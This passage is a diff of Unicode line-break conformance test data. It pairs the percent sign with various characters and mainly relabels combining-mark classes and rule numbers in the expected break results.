× 0025 × 0020 × 007D ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0025 × 0308 × 007D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0025 × 0308 × 0020 × 007D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0025 × 0308 × 007D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0025 × 0308 × 0020 × 007D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0025 × 0029 ÷ # × [0.3] PERCENT SIGN (PO) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0025 × 0020 × 0029 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0025 × 0308 × 0029 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0025 × 0308 × 0020 × 0029 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0025 × 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0025 × 0020 ÷ 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0025 × 0308 × 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0025 × 0308 × 0029 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0025 × 0308 × 0020 × 0029 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0025 × 000D ÷ # × [0.3] PERCENT SIGN (PO) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0025 × 0020 × 000D ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0025 × 0308 × 000D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0025 × 0308 × 0020 × 000D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0025 × 0308 × 000D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0025 × 0308 × 0020 × 000D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0025 × 0021 ÷ # × [0.3] PERCENT SIGN (PO) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0025 × 0020 × 0021 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0025 × 0308 × 0021 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0025 × 0308 × 0020 × 0021 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0025 × 0308 × 0021 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0025 × 0308 × 0020 × 0021 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0025 × 00A0 ÷ # × [0.3] PERCENT SIGN (PO) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0025 × 0020 ÷ 00A0 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0025 × 0308 × 00A0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0025 × 0308 × 00A0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0025 ÷ AC00 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0025 × 0020 ÷ AC00 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0025 × 0308 ÷ AC00 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0025 × 0308 ÷ AC00 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0025 ÷ AC01 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0025 × 0020 ÷ AC01 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0025 × 0308 ÷ AC01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0025 × 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [24.03] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0025 × 0308 ÷ AC01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0025 × 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [24.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0025 × 0020 ÷ 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0025 × 0308 × 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [24.03] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0025 × 0308 × 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0025 × 002D ÷ # × [0.3] PERCENT SIGN (PO) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0025 × 0020 ÷ 002D ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0025 × 0308 × 002D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 002D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0025 × 0308 × 002D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 002D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0025 ÷ 231A ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0025 × 0020 ÷ 231A ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0025 × 0308 ÷ 231A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 231A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0025 × 0308 ÷ 231A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 231A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0025 ÷ 2024 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0025 × 0020 ÷ 2024 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0025 × 0308 ÷ 2024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0025 × 0308 ÷ 2024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0025 × 002C ÷ # × [0.3] PERCENT SIGN (PO) × [13.02] COMMA (IS) ÷ [0.3]
× 0025 × 0020 × 002C ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0025 × 0308 × 002C ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0025 × 0308 × 0020 × 002C ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0025 × 0308 × 002C ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0025 × 0308 × 0020 × 002C ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0025 ÷ 1100 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0025 × 0020 ÷ 1100 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0025 × 0308 ÷ 1100 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0025 × 0308 ÷ 1100 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0025 ÷ 11A8 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0025 × 0020 ÷ 11A8 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0025 × 0308 ÷ 11A8 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0025 × 0308 ÷ 11A8 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0025 ÷ 1160 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0025 × 0020 ÷ 1160 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0025 × 0308 ÷ 1160 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0025 × 0308 ÷ 1160 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0025 × 000A ÷ # × [0.3] PERCENT SIGN (PO) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0025 × 0020 × 000A ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0025 × 0308 × 000A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0025 × 0308 × 0020 × 000A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0025 × 0308 × 000A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0025 × 0308 × 0020 × 000A ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0025 × 0085 ÷ # × [0.3] PERCENT SIGN (PO) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0025 × 0020 × 0085 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0025 × 0308 × 0085 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0025 × 0308 × 0020 × 0085 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0025 × 0308 × 0085 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0025 × 0308 × 0020 × 0085 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0025 × 17D6 ÷ # × [0.3] PERCENT SIGN (PO) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0025 × 0020 ÷ 17D6 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0025 × 0308 × 17D6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0025 × 0308 × 17D6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0025 × 0030 ÷ # × [0.3] PERCENT SIGN (PO) × [25.01] DIGIT ZERO (NU) ÷ [0.3]
× 0025 × 0020 ÷ 0030 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0025 × 0308 × 0030 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [25.01] DIGIT ZERO (NU) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0025 × 0308 × 0030 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.01] DIGIT ZERO (NU) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0025 ÷ 0028 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0025 × 0020 ÷ 0028 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0025 × 0308 ÷ 0028 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0025 × 0308 ÷ 0028 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0025 ÷ 0025 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 0025 × 0020 ÷ 0025 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0025 × 0308 ÷ 0025 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0025 × 0308 ÷ 0025 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0025 ÷ 0024 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0025 × 0020 ÷ 0024 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0025 × 0308 ÷ 0024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0025 × 0308 ÷ 0024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0025 × 0022 ÷ # × [0.3] PERCENT SIGN (PO) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0025 × 0020 ÷ 0022 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0025 × 0308 × 0022 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0025 × 0308 × 0022 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0025 × 0020 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [0.3]
× 0025 × 0020 × 0020 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0025 × 0308 × 0020 × 0020 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0025 × 0308 × 0020 × 0020 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0025 × 002F ÷ # × [0.3] PERCENT SIGN (PO) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0025 × 0020 × 002F ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0025 × 0308 × 002F ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0025 × 0308 × 0020 × 002F ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
